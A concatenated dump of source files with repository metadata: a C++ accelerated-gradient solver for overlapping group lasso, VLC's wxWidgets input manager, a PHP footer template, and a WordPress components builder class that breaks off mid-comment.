*Ynew, double *LL, double *u, double *y, int *entrySignFlag, double lambda2, double *x, double *Y, int p, int g, int * zeroGroupFlag, double *G, double *w){ double twoNorm, temp, L=*LL, leftValue, rightValue; int i,j; while (1){ /* * compute * Ynew = proj ( Y + x e^T / L ) */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ Ynew[j]= Y[j] + x[ (int) G[j] ] / L; twoNorm+=Ynew[j]*Ynew[j]; } twoNorm=sqrt(twoNorm); if (twoNorm > lambda2 * w[3*i+2] ){ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Ynew[j]*=temp; } } }/*end of for(i=0;i<g;i++) */ /* * compute xnew=max(u-Ynew * e, 0); * *void xFromY(double *x, double *y, * double *u, double *Y, * int p, int g, int *zeroGroupFlag, * double *G, double *w) */ xFromY(xnew, y, u, Ynew, p, g, zeroGroupFlag, G, w); /* test whether L is appropriate*/ leftValue=0; for(i=0;i<p;i++){ if (entrySignFlag[i]){ temp=xnew[i]-x[i]; leftValue+= temp * ( 0.5 * temp + y[i]); } } rightValue=0; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=Ynew[j]-Y[j]; rightValue+=temp * temp; } } }/*end of for(i=0;i<g;i++) */ rightValue=rightValue/2; /* printf("\n leftValue =%e, rightValue=%e, L=%e", leftValue, rightValue, L); */ if ( leftValue <= L * rightValue){ temp= L * rightValue / leftValue; if (temp >5) L=L*0.8; break; } else{ temp=leftValue / rightValue; if (L*2 <= temp) L=temp; else L=2*L; if ( L / g - 2* g >0 ){ if (rightValue < 1e-16){ break; } else{ printf("\n One Gradient Step: leftValue=%e, rightValue=%e, ratio=%e", leftValue, rightValue, temp); printf("\n L=%e > 2 * %d * %d. There might be a bug here. Otherwise, it is due to numerical issue.", L, g, g); break; } } } } *LL=L; } void overlapping_agd(double *x, double *gap, double *penalty2, double *v, int p, int g, double lambda1, double lambda2, double *w, double *G, double *Y, int maxIter, int flag, double tol){ int YSize=(int) w[3*(g-1) +1]+1; double *u=(double *)malloc(sizeof(double)*p); double *y=(double *)malloc(sizeof(double)*p); double *xnew=(double *)malloc(sizeof(double)*p); double *Ynew=(double *)malloc(sizeof(double)* YSize ); double *xS=(double *)malloc(sizeof(double)*p); double *YS=(double *)malloc(sizeof(double)* YSize ); /*double *xp=(double *)malloc(sizeof(double)*p);*/ double *Yp=(double *)malloc(sizeof(double)* YSize ); int *zeroGroupFlag=(int *)malloc(sizeof(int)*g); int *entrySignFlag=(int *)malloc(sizeof(int)*p); int pp, gg; int i, j, iterStep; double twoNorm,temp, L=1, leftValue, rightValue, gapR, penalty2R; int nextRestartStep=0; double alpha, alphap=0.5, beta, gamma; /* * call the function to identify some zero entries * * entrySignFlag[i]=0 denotes that the corresponding entry is definitely zero * * zeroGroupFlag[i]=0 denotes that the corresponding group is definitely zero * */ identifySomeZeroEntries(u, zeroGroupFlag, entrySignFlag, &pp, &gg, v, lambda1, lambda2, p, g, w, G); penalty2[1]=pp; penalty2[2]=gg; /*store pp and gg to penalty2[1] and penalty2[2]*/ /* *------------------- * Process Y *------------------- * We make sure that Y is feasible * and if x_i=0, then set Y_{ij}=0 */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ /*compute the two norm of the group*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ if (! u[ (int) G[j] ] ) Y[j]=0; twoNorm+=Y[j]*Y[j]; } twoNorm=sqrt(twoNorm); if (twoNorm > lambda2 * w[3*i+2] ){ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j]*=temp; } } else{ /*this group is zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Y[j]=0; } } /* * set Ynew and Yp to zero * * in the following processing, we only operate, Yp, Y and Ynew in the * possibly non-zero groups by "if(zeroGroupFlag[i])" * */ for(i=0;i<YSize;i++) YS[i]=Yp[i]=Ynew[i]=0; /* * --------------- * * we first do a gradient descent step for determing the value of an approporate L * * Also, we initialize gamma * * with Y, we compute a new Ynew * */ /* * compute x=max(u-Y * e, 0); */ xFromY(x, y, u, Y, p, g, zeroGroupFlag, G, w); /* * compute (xnew, Ynew) from (x, Y) * * * gradientDescentStep(double *xnew, double *Ynew, double *LL, double *u, double *y, int *entrySignFlag, double lambda2, double *x, double *Y, int p, int g, int * zeroGroupFlag, double *G, double *w) */ gradientDescentStep(xnew, Ynew, &L, u, y,entrySignFlag,lambda2, x, Y, p, g, zeroGroupFlag, G, w); /* * we have finished one gradient descent to get * * (x, Y) and (xnew, Ynew), where (xnew, Ynew) is * * a gradient descent step based on (x, Y) * * we set (xp, Yp)=(x, Y) * * (x, Y)= (xnew, Ynew) */ /*memcpy(xp, x, sizeof(double) * p);*/ memcpy(Yp, Y, sizeof(double) * YSize); /*memcpy(x, xnew, sizeof(double) * p);*/ memcpy(Y, Ynew, sizeof(double) * YSize); gamma=L; /* * ------------------------------------ * Accelerated Gradient Descent begins here * ------------------------------------ */ for(iterStep=0;iterStep<maxIter;iterStep++){ while (1){ /* * compute alpha as the positive root of * * L * alpha^2 = (1-alpha) * gamma * */ alpha= ( - gamma + sqrt( gamma * gamma + 4 * L * gamma ) ) / 2 / L; beta= gamma * (1-alphap)/ alphap / (gamma + L * alpha); /* * compute YS= Y + beta * (Y - Yp) * */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ YS[j]=Y[j] + beta * (Y[j]-Yp[j]); } } }/*end of for(i=0;i<g;i++) */ /* * compute xS */ xFromY(xS, y, u, YS, p, g, zeroGroupFlag, G, w); /* * * Ynew = proj ( YS + xS e^T / L ) * */ for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ twoNorm=0; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ Ynew[j]= YS[j] + xS[ (int) G[j] ] / L; twoNorm+=Ynew[j]*Ynew[j]; } twoNorm=sqrt(twoNorm); if (twoNorm > lambda2 * w[3*i+2] ){ temp=lambda2 * w[3*i+2] / twoNorm; for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++) Ynew[j]*=temp; } } }/*end of for(i=0;i<g;i++) */ /* * compute xnew=max(u-Ynew * e, 0); * *void xFromY(double *x, double *y, * double *u, double *Y, * int p, int g, int *zeroGroupFlag, * double *G, double *w) */ xFromY(xnew, y, u, Ynew, p, g, zeroGroupFlag, G, w); /* test whether L is appropriate*/ leftValue=0; for(i=0;i<p;i++){ if (entrySignFlag[i]){ temp=xnew[i]-xS[i]; leftValue+= temp * ( 0.5 * temp + y[i]); } } rightValue=0; for(i=0;i<g;i++){ if(zeroGroupFlag[i]){ /*this group is non-zero*/ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ temp=Ynew[j]-YS[j]; rightValue+=temp * temp; } } }/*end of for(i=0;i<g;i++) */ rightValue=rightValue/2; if ( leftValue <= L * rightValue){ temp= L * rightValue / leftValue; if (temp >5) L=L*0.8; break; } else{ temp=leftValue / rightValue; if (L*2 <= temp) L=temp; else L=2*L; if ( L / g - 2* g >0 ){ if (rightValue < 1e-16){ break; } else{ printf("\n AGD: leftValue=%e, rightValue=%e, ratio=%e", leftValue, rightValue, temp); printf("\n L=%e > 2 * %d * %d. There might be a bug here. Otherwise, it is due to numerical issue.", L, g, g); break; } } } } /* compute the duality gap at (xnew, Ynew) * * void dualityGap(double *gap, double *penalty2, * double *x, double *Y, int g, int *zeroGroupFlag, * double *G, double *w, double lambda2) * */ dualityGap(gap, penalty2, xnew, Ynew, g, zeroGroupFlag, G, w, lambda2); /* * if the duality gap is within pre-specified parameter tol * * we terminate the algorithm */ if (*gap <=tol){ memcpy(x, xnew, sizeof(double) * p); memcpy(Y, Ynew, sizeof(double) * YSize); break; } /* * flag =1 means restart * * flag =0 means with restart * * nextRestartStep denotes the next "step number" for * initializing the restart process. * * This is based on the fact that, the result is only beneficial when * xnew is good. In other words, * if xnew is not good, then the * restart might not be helpful. */ if ( (flag==0) || (flag==1 && iterStep < nextRestartStep )){ /*memcpy(xp, x, sizeof(double) * p);*/ memcpy(Yp, Y, sizeof(double) * YSize); /*memcpy(x, xnew, sizeof(double) * p);*/ memcpy(Y, Ynew, sizeof(double) * YSize); gamma=gamma * (1-alpha); alphap=alpha; /* printf("\n iterStep=%d, L=%2.5f, gap=%e", iterStep, L, *gap); */ } else{ /* * flag=1 * * We allow the restart of the program. * * Here, Y is constructed as a subgradient of xnew, based on the * assumption that Y might be a better choice than Ynew, provided * that xnew is good enough. * */ /* * compute the restarting point YS with xnew and Ynew * *void YFromx(double *Y, * double *xnew, double *Ynew, * double lambda2, int g, int *zeroGroupFlag, * double *G, double *w) */ YFromx(YS, xnew, Ynew, lambda2, g, zeroGroupFlag, G, w); /*compute the solution with the starting point YS * *void xFromY(double *x, double *y, * double *u, double *Y, * int p, int g, int *zeroGroupFlag, * double *G, double *w) * */ xFromY(xS, y, u, YS, p, g, zeroGroupFlag, G, w); /*compute the duality at (xS, YS) * * void dualityGap(double *gap, double *penalty2, * double *x, double *Y, int g, int *zeroGroupFlag, * double *G, double *w, double lambda2) * */ dualityGap(&gapR, &penalty2R, xS, YS, g, zeroGroupFlag, G, w, lambda2); if (*gap< gapR){ /*(xnew, Ynew) is better in terms of duality gap*/ /*In this case, we do not apply restart, as (xS,YS) is not better * * We postpone the "restart" by giving a * "nextRestartStep" */ /*memcpy(xp, x, sizeof(double) * p);*/ memcpy(Yp, Y, sizeof(double) * YSize); /*memcpy(x, xnew, sizeof(double) * p);*/ memcpy(Y, Ynew, sizeof(double) * YSize); gamma=gamma * (1-alpha); alphap=alpha; nextRestartStep=iterStep+ (int) sqrt(gapR / *gap); } else{ /*we use (xS, YS), as it is better in terms of duality gap*/ *gap=gapR; *penalty2=penalty2R; if (*gap <=tol){ memcpy(x, xS, sizeof(double) * p); memcpy(Y, YS, sizeof(double) * YSize); break; }else{ /* * we do a gradient descent based on (xS, YS) * */ /* * compute (x, Y) from (xS, YS) * * * gradientDescentStep(double *xnew, double *Ynew, * double *LL, double *u, double *y, int *entrySignFlag, double lambda2, * double *x, double *Y, int p, int g, int * zeroGroupFlag, * double *G, double *w) */ gradientDescentStep(x, Y, &L, u, y, entrySignFlag,lambda2, xS, YS, p, g, zeroGroupFlag, G, w); /*memcpy(xp, xS, sizeof(double) * p);*/ memcpy(Yp, YS, sizeof(double) * YSize); gamma=L; alphap=0.5; } } /* * printf("\n iterStep=%d, L=%2.5f, gap=%e, gapR=%e", iterStep, L, *gap, gapR); */ }/* flag =1*/ } /* main loop */ penalty2[3]=iterStep+1; /* * get the number of nonzero groups */ penalty2[4]=0; for(i=0;i<g;i++){ if (zeroGroupFlag[i]==0) penalty2[4]=penalty2[4]+1; else{ for(j=(int) w[3*i] ; j<= (int) w[3*i +1]; j++){ if (x[ (int) G[j] ] !=0) break; } if (j>(int) w[3*i +1]) penalty2[4]=penalty2[4]+1; } } /* * assign sign to the solution x */ for(i=0;i<p;i++){ if (entrySignFlag[i]==-1){ x[i]=-x[i]; } } free (u); free (y); free (xnew); free (Ynew); free (xS); free (YS); /*free (xp);*/ free (Yp); free (zeroGroupFlag); free (entrySignFlag); } void overlapping(double *x, double *gap, double *penalty2, double *v, int p, int g, double lambda1, double lambda2, double *w, double *G, double *Y, int maxIter, int flag, double tol){ switch(flag){ case 0: case 1: overlapping_gd(x, gap, penalty2, v, p, g, lambda1, lambda2, w, G, Y, maxIter, flag,tol); break; case 2: case 3: overlapping_agd(x, gap, penalty2, v, p, g, lambda1, lambda2, w, G, Y, maxIter, flag-2,tol); break; default: /* printf("\n Wrong flag! The value of flag should be 0,1,2,3. The program uses flag=2.");*/ overlapping_agd(x, gap, penalty2, v, p, g, lambda1, lambda2, w, G, Y, maxIter, 0,tol); break; } }
ratschlab/ASP
src/shogun/lib/slep/overlapping/overlapping.cpp
C++
gpl-2.0
26,209
/** Select # What? # Part of my "Responsive Menu Concepts" article on CSS-Tricks http://css-tricks.com/responsive-menu-concepts # 2012 by Tim Pietrusky # timpietrusky.com **/
evasmidt/allsafe-drupal
themes/custom/allsafe/js/scripts.js
JavaScript
gpl-2.0
191
/***************************************************************************** * slider_manager.cpp : Manage an input slider ***************************************************************************** * Copyright (C) 2000-2005 the VideoLAN team * $Id: input_manager.cpp 14556 2006-03-01 19:56:34Z fkuehne $ * * Authors: Gildas Bazin <[email protected]> * Clément Stenac <[email protected]> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA. *****************************************************************************/ #include "input_manager.hpp" #include "interface.hpp" #include "video.hpp" #include <vlc_meta.h> /* include the toolbar graphics */ #include "bitmaps/prev.xpm" #include "bitmaps/next.xpm" #include "bitmaps/playlist.xpm" /* IDs for the controls */ enum { SliderScroll_Event = wxID_HIGHEST, DiscMenu_Event, DiscPrev_Event, DiscNext_Event }; BEGIN_EVENT_TABLE(InputManager, wxPanel) /* Slider events */ EVT_COMMAND_SCROLL(SliderScroll_Event, InputManager::OnSliderUpdate) /* Disc Buttons events */ EVT_BUTTON(DiscMenu_Event, InputManager::OnDiscMenu) EVT_BUTTON(DiscPrev_Event, InputManager::OnDiscPrev) EVT_BUTTON(DiscNext_Event, InputManager::OnDiscNext) END_EVENT_TABLE() #define STATUS_STOP 0 #define STATUS_PLAYING 1 #define STATUS_PAUSE 2 /***************************************************************************** * Constructor. *****************************************************************************/ InputManager::InputManager( intf_thread_t *_p_intf, Interface *_p_main_intf, wxWindow *p_parent ) : wxPanel( p_parent ) { p_intf = _p_intf; p_main_intf = _p_main_intf; p_input = NULL; i_old_playing_status = STATUS_STOP; i_old_rate = INPUT_RATE_DEFAULT; b_slider_free = VLC_TRUE; i_input_hide_delay = 0; /* Create slider */ slider = new wxSlider( this, SliderScroll_Event, 0, 0, SLIDER_MAX_POS ); /* Create disc buttons */ disc_frame = new wxPanel( this ); disc_menu_button = new wxBitmapButton( disc_frame, DiscMenu_Event, wxBitmap( playlist_xpm ) ); disc_prev_button = new wxBitmapButton( disc_frame, DiscPrev_Event, wxBitmap( prev_xpm ) ); disc_next_button = new wxBitmapButton( disc_frame, DiscNext_Event, wxBitmap( next_xpm ) ); disc_sizer = new wxBoxSizer( wxHORIZONTAL ); disc_sizer->Add( disc_menu_button, 1, wxEXPAND | wxLEFT | wxRIGHT, 1 ); disc_sizer->Add( disc_prev_button, 1, wxEXPAND | wxLEFT | wxRIGHT, 1 ); disc_sizer->Add( disc_next_button, 1, wxEXPAND | wxLEFT | wxRIGHT, 1 ); disc_frame->SetSizer( disc_sizer ); disc_sizer->Layout(); /* Add everything to the panel */ sizer = new wxBoxSizer( wxHORIZONTAL ); SetSizer( sizer ); sizer->Add( slider, 1, wxEXPAND | wxALL, 5 ); sizer->Add( disc_frame, 0, wxALL, 2 ); /* Hide by default */ sizer->Hide( disc_frame ); sizer->Hide( slider ); sizer->Layout(); Fit(); } InputManager::~InputManager() { vlc_mutex_lock( &p_intf->change_lock ); if( p_intf->p_sys->p_input ) vlc_object_release( p_intf->p_sys->p_input ); p_intf->p_sys->p_input = NULL; vlc_mutex_unlock( &p_intf->change_lock ); } /***************************************************************************** * Public methods. *****************************************************************************/ vlc_bool_t InputManager::IsPlaying() { return (p_input && !p_input->b_die); } /***************************************************************************** * Private methods. *****************************************************************************/ void InputManager::UpdateInput() { playlist_t *p_playlist = (playlist_t *)vlc_object_find( p_intf, VLC_OBJECT_PLAYLIST, FIND_ANYWHERE ); if( p_playlist != NULL ) { LockPlaylist( p_intf->p_sys, p_playlist ); p_input = p_intf->p_sys->p_input = p_playlist->p_input; if( p_intf->p_sys->p_input ) vlc_object_yield( p_intf->p_sys->p_input ); UnlockPlaylist( p_intf->p_sys, p_playlist ); vlc_object_release( p_playlist ); } } void InputManager::UpdateNowPlaying() { char *psz_now_playing = vlc_input_item_GetInfo( p_input->input.p_item, _(VLC_META_INFO_CAT), _(VLC_META_NOW_PLAYING) ); if( psz_now_playing && *psz_now_playing ) { p_main_intf->statusbar->SetStatusText( wxString(wxU(psz_now_playing)) + wxT( " - " ) + wxU(p_input->input.p_item->psz_name), 2 ); } else { p_main_intf->statusbar->SetStatusText( wxU(p_input->input.p_item->psz_name), 2 ); } free( psz_now_playing ); } void InputManager::UpdateButtons( vlc_bool_t b_play ) { if( !b_play ) { if( i_old_playing_status == STATUS_STOP ) return; i_old_playing_status = STATUS_STOP; p_main_intf->TogglePlayButton( PAUSE_S ); p_main_intf->statusbar->SetStatusText( wxT(""), 0 ); p_main_intf->statusbar->SetStatusText( wxT(""), 2 ); /* wxCocoa pretends to support this, but at least 2.6.x doesn't */ #ifndef __APPLE__ #ifdef wxHAS_TASK_BAR_ICON if( p_main_intf->p_systray ) { p_main_intf->p_systray->UpdateTooltip( wxString(wxT("VLC media player - ")) + wxU(_("Stopped")) ); } #endif #endif return; } /* Manage Playing status */ vlc_value_t val; var_Get( p_input, "state", &val ); val.i_int = val.i_int == PAUSE_S ? STATUS_PAUSE : STATUS_PLAYING; if( i_old_playing_status != val.i_int ) { i_old_playing_status = val.i_int; p_main_intf->TogglePlayButton( val.i_int == STATUS_PAUSE ? PAUSE_S : PLAYING_S ); /* wxCocoa pretends to support this, but at least 2.6.x doesn't */ #ifndef __APPLE__ #ifdef wxHAS_TASK_BAR_ICON if( p_main_intf->p_systray ) { p_main_intf->p_systray->UpdateTooltip( wxU(p_input->input.p_item->psz_name) + wxString(wxT(" - ")) + (val.i_int == PAUSE_S ? wxU(_("Paused")) : wxU(_("Playing")))); } #endif #endif } } void InputManager::UpdateDiscButtons() { vlc_value_t val; var_Change( p_input, "title", VLC_VAR_CHOICESCOUNT, &val, NULL ); if( val.i_int > 0 && !disc_frame->IsShown() ) { vlc_value_t val; #define HELP_MENU N_("Menu") #define HELP_PCH N_("Previous chapter") #define HELP_NCH N_("Next chapter") #define HELP_PTR N_("Previous track") #define HELP_NTR N_("Next track") var_Change( p_input, "chapter", VLC_VAR_CHOICESCOUNT, &val, NULL ); if( val.i_int > 0 ) { disc_menu_button->Show(); disc_sizer->Show( disc_menu_button ); disc_sizer->Layout(); disc_sizer->Fit( disc_frame ); disc_menu_button->SetToolTip( wxU(_( HELP_MENU ) ) ); disc_prev_button->SetToolTip( wxU(_( HELP_PCH ) ) ); disc_next_button->SetToolTip( wxU(_( HELP_NCH ) ) ); } else { disc_menu_button->Hide(); disc_sizer->Hide( disc_menu_button ); disc_prev_button->SetToolTip( wxU(_( HELP_PTR ) ) ); disc_next_button->SetToolTip( wxU(_( HELP_NTR ) ) ); } ShowDiscFrame(); } else if( val.i_int == 0 && disc_frame->IsShown() ) { HideDiscFrame(); } } void InputManager::HideSlider() { ShowSlider( false ); } void InputManager::HideDiscFrame() { ShowDiscFrame( false ); } void InputManager::UpdateTime() { char psz_time[ MSTRTIME_MAX_SIZE ], psz_total[ MSTRTIME_MAX_SIZE ]; mtime_t i_seconds; i_seconds = var_GetTime( p_intf->p_sys->p_input, "length" ) / 1000000; secstotimestr( psz_total, i_seconds ); i_seconds = var_GetTime( p_intf->p_sys->p_input, "time" ) / 1000000; secstotimestr( psz_time, i_seconds ); p_main_intf->statusbar->SetStatusText( wxU(psz_time) + wxString(wxT(" / ")) +wxU(psz_total), 0 ); } void InputManager::Update() { /* Update the input */ if( p_input == NULL ) { UpdateInput(); if( p_input ) { slider->SetValue( 0 ); } else if( !i_input_hide_delay ) { i_input_hide_delay = mdate() + 200000; } else if( i_input_hide_delay < mdate() ) { if( disc_frame->IsShown() ) HideDiscFrame(); if( slider->IsShown() ) HideSlider(); i_input_hide_delay = 0; } } else if( p_input->b_dead ) { UpdateButtons( VLC_FALSE ); vlc_object_release( p_input ); p_input = NULL; } else { i_input_hide_delay = 0; } if( p_input && !p_input->b_die ) { vlc_value_t pos, len; UpdateTime(); UpdateButtons( VLC_TRUE ); UpdateNowPlaying(); UpdateDiscButtons(); /* Really manage the slider */ var_Get( p_input, "position", &pos ); var_Get( p_input, "length", &len ); if( pos.f_float > 0 && !slider->IsShown() ) ShowSlider(); else if( pos.f_float <= 0 && slider->IsShown() ) HideSlider(); /* Update the slider if the user isn't dragging it. */ if( slider->IsShown() && b_slider_free ) { i_slider_pos = (int)(SLIDER_MAX_POS * pos.f_float); slider->SetValue( i_slider_pos ); } /* Manage Speed status */ vlc_value_t val; var_Get( p_input, "rate", &val ); if( i_old_rate != val.i_int ) { p_main_intf->statusbar->SetStatusText( wxString::Format(wxT("x%.2f"), (float)INPUT_RATE_DEFAULT / val.i_int ), 1 ); i_old_rate = val.i_int; } } } /***************************************************************************** * Event Handlers. *****************************************************************************/ void InputManager::OnDiscMenu( wxCommandEvent& WXUNUSED(event) ) { input_thread_t *p_input = (input_thread_t *)vlc_object_find( p_intf, VLC_OBJECT_INPUT, FIND_ANYWHERE ); if( p_input ) { vlc_value_t val; val.i_int = 2; var_Set( p_input, "title 0", val); vlc_object_release( p_input ); } } void InputManager::OnDiscPrev( wxCommandEvent& WXUNUSED(event) ) { input_thread_t *p_input = (input_thread_t *)vlc_object_find( p_intf, VLC_OBJECT_INPUT, FIND_ANYWHERE ); if( p_input ) { int i_type = var_Type( p_input, "prev-chapter" ); vlc_value_t val; val.b_bool = VLC_TRUE; var_Set( p_input, ( i_type & VLC_VAR_TYPE ) != 0 ? "prev-chapter" : "prev-title", val ); vlc_object_release( p_input ); } } void InputManager::OnDiscNext( wxCommandEvent& WXUNUSED(event) ) { input_thread_t *p_input = (input_thread_t *)vlc_object_find( p_intf, VLC_OBJECT_INPUT, FIND_ANYWHERE ); if( p_input ) { int i_type = var_Type( p_input, "next-chapter" ); vlc_value_t val; val.b_bool = VLC_TRUE; var_Set( p_input, ( i_type & VLC_VAR_TYPE ) != 0 ? "next-chapter" : "next-title", val ); vlc_object_release( p_input ); } } void InputManager::OnSliderUpdate( wxScrollEvent& event ) { vlc_mutex_lock( &p_intf->change_lock ); #ifdef WIN32 if( event.GetEventType() == wxEVT_SCROLL_THUMBRELEASE || event.GetEventType() == wxEVT_SCROLL_ENDSCROLL ) { #endif if( i_slider_pos != event.GetPosition() && p_intf->p_sys->p_input ) { vlc_value_t pos; pos.f_float = (float)event.GetPosition() / (float)SLIDER_MAX_POS; var_Set( p_intf->p_sys->p_input, "position", pos ); } #ifdef WIN32 b_slider_free = VLC_TRUE; } else { b_slider_free = VLC_FALSE; if( p_intf->p_sys->p_input ) UpdateTime(); } #endif #undef WIN32 vlc_mutex_unlock( &p_intf->change_lock ); } void InputManager::ShowSlider( bool show ) { if( !!show == !!slider->IsShown() ) return; UpdateVideoWindow( p_intf, p_main_intf->video_window ); sizer->Show( slider, show ); sizer->Layout(); wxCommandEvent intf_event( wxEVT_INTF, 0 ); p_main_intf->AddPendingEvent( intf_event ); } void InputManager::ShowDiscFrame( bool show ) { if( !!show == !!disc_frame->IsShown() ) return; UpdateVideoWindow( p_intf, p_main_intf->video_window ); sizer->Show( disc_frame, show ); sizer->Layout(); wxCommandEvent intf_event( wxEVT_INTF, 0 ); p_main_intf->AddPendingEvent( intf_event ); }
scs/uclinux
user/blkfin-apps/vlc/vlc-0.8.6b/modules/gui/wxwidgets/input_manager.cpp
C++
gpl-2.0
13,723
<?php defined('IN_IA') or exit('Access Denied');?> <div id="footer"> <span class="pull-left"> <p><?php if(empty($_W['setting']['copyright']['footerleft'])) { ?>Powered by <a href="http://www.weixfu.cn"><b>关于微服务</b></a> v<?php echo IMS_VERSION;?> &copy; 2014 <a href="http://www.weixfu.cn">www.weixfu.cn</a><?php } else { ?><?php echo $_W['setting']['copyright']['footerleft'];?><?php } ?></p> </span> <span class="pull-right"> <p><?php if(empty($_W['setting']['copyright']['footerright'])) { ?><a href="http://www.weixfu.cn">关于微服务</a>&nbsp;&nbsp;<?php } else { ?><?php echo $_W['setting']['copyright']['footerright'];?><?php } ?>&nbsp;&nbsp;<?php echo $_W['setting']['copyright']['statcode'];?></p> </span> </div> <div class="emotions" style="display:none;"></div> </body> </html>
JoelPub/wordpress-amazon
order/data/tpl/web/default/common/footer.tpl.php
PHP
gpl-2.0
825
<?php /** * Load our components using a static wrapper */ namespace MakeitWorkPress\WP_Components; use WP_Error as WP_Error; defined( 'ABSPATH' ) or die( 'Go eat veggies!' ); class Build { /** * Renders generic template for an atom or molecule. * * @param string $type The type, either a molecule or atom * @param string $template The template to load, either a template in the molecule or atom's folder * @param array $properties The custom properties for the template * @param array $render If the element is rendered. If set to false, the contents of the elements are returned */ private static function render( $type = 'atom', $template, $properties = [], $render = true ) { // Empty properties can be neglected if( empty($properties) ) { $properties = []; } // Properties should be an array if( ! is_array($properties) ) { $error = new WP_Error( 'wrong', sprintf(__('The properties for the molecule or atom called %s are not properly formatted as an array.', 'components'), $template) ); echo $error->get_error_message(); return; } // If we have atom properties, they should have proper properties if( isset($properties['atoms']) && is_array($properties['atoms']) ) { foreach( $properties['atoms'] as $atom ) { if( ! isset($atom['atom']) ) { $error = new WP_Error( 'wrong', sprintf(__('The custom atoms within %s are not properly formatted and miss the atom key.', 'components'), $template) ); echo $error->get_error_message(); return; } } } // Our template path $path = apply_filters( 'components_' . $type . '_path', COMPONENTS_PATH . $type . 's/' . $template . '.php', $template ); if( file_exists($path) ) { ${$type} = apply_filters( 'components_' . $type . '_properties', self::setDefaultProperties($template, $properties, $type), $template ); // If we have the lazyload script defined, we execute it - but we watch for the WP Optimize Script being active if( isset(${$type}['lazyload']) && ${$type}['lazyload'] && ! wp_script_is('lazyload') ) { wp_enqueue_script('lazyload'); } // If we do not render, we return if( $render == false ) { ob_start(); } require($path); if( $render == false ) { return ob_get_clean(); } } else { $error = new WP_Error( 'wrong', sprintf( __('The given template for the molecule or atom called %s does not exist.', 'components'), $template ) ); echo $error->get_error_message(); } } /** * Define the default attributes per template. This allows us to dynamically add attributes * * @param string $template The template to load * @param array $properties The custom properties defined by the developer * @param string $type Whether we load an atom or an molecule * * @return array $properties The custom properties merged with the defaults */ public static function setDefaultProperties( $template, $properties, $type = 'atom' ) { // Define our most basic property - the class $properties['attributes']['class'] = isset($properties['attributes']['class']) ? $type . ' ' . $properties['attributes']['class'] : $type; $properties['attributes']['class'] .= ' ' . $type . '-' . $template; /** * Properties that generate a specific class for a style or are generic */ foreach( ['align', 'animation', 'appear', 'background', 'border', 'color', 'display', 'float', 'grid', 'height', 'hover', 'parallax', 'position', 'rounded', 'width'] as $class ) { if( isset($properties[$class]) && $properties[$class] ) { // Backgrounds if( $class == 'background' && preg_match('/hsl|http|https|rgb|linear-gradient|#/', $properties[$class]) ) { if( preg_match('/http|https/', $properties[$class]) ) { $properties['attributes']['class'] .= ' components-image-background'; if( isset($properties['lazyload']) && $properties['lazyload'] ) { $properties['attributes']['data']['bg'] = 'url(' . $properties[$class] . ')'; $properties['attributes']['class'] .= ' lazy'; } else { $properties['attributes']['style']['background-image'] = 'url(' . $properties[$class] . ')'; } } else { $properties['attributes']['style']['background'] = $properties[$class]; } continue; } if( $class == 'border' && preg_match('/hsl|linear-gradient|rgb|#/', $properties[$class]) ) { if( strpos($properties['border'], 'linear-gradient') === 0 ) { $properties['attributes']['style']['border'] = '2px solid transparent;'; $properties['attributes']['style']['border-image'] = $properties[$class]; $properties['attributes']['style']['border-image-slice'] = 1; } else { $properties['attributes']['style']['border'] = '2px solid ' . $properties[$class]; } continue; } // Color if( $class == 'color' && preg_match('/hsl|rgb|#/', $properties[$class]) ) { $properties['attributes']['style']['color'] = $properties[$class]; continue; } // Continue if our grid is an array if( $class == 'grid' && is_array($properties[$class]) ) { continue; } // Height and Width if( ($class == 'height' || $class == 'width') && preg_match('/ch|em|ex|in|mm|pc|pt|px|rem|vh|vw|%/', $properties[$class]) ) { $properties['attributes']['style']['min-' . $class] = $properties[$class]; continue; } // Set our definite class $properties['attributes']['class'] .= is_bool($properties[$class]) ? ' components-' . $class : ' components-' . $properties[$class] . '-' . $class; } } return $properties; } /** * Displays any atom * * @param string $atom The atom to load * @param array $variables The custom variables for a molecule */ public static function atom( $atom, $variables = array(), $render = true ) { if( $render == false ) { return self::render( 'atom', $atom, $variables, $render ); } self::render( 'atom', $atom, $variables ); } /** * Displays any molecule * * @param string $molecule The atom to load * @param array $variables The custom variables for a molecule */ public static function molecule( $molecule, $variables = array(), $render = true ) { if( $render == false ) { return self::render( 'molecule', $molecule, $variables, $render ); } self::render( 'molecule', $molecule, $variables ); } /** * Turns our attributes into a usuable string for use in our atoms * * @param array $attributes The array with custom properties * @return string $output The attributes as a string */ public static function attributes( $attributes = [] ) { $output = ''; foreach( $attributes as $key => $attribute ) { // Skip empty attributes if( ! $attribute ) { continue; } if( $key == 'data' && is_array($attribute) ) { foreach( $attribute as $data => $value ) { $output .= 'data-' . $data . '="' . $value . '"'; } } elseif( $key == 'style' && is_array($attribute) ) { $output .= $key . '="'; foreach( $attribute as $selector => $value ) { if( ! $value ) { continue; } $output .= $selector . ':' . $value . ';'; } $output .= '"'; } else { $output .= $key .'="' . $attribute . '"'; } } return $output; } /** * 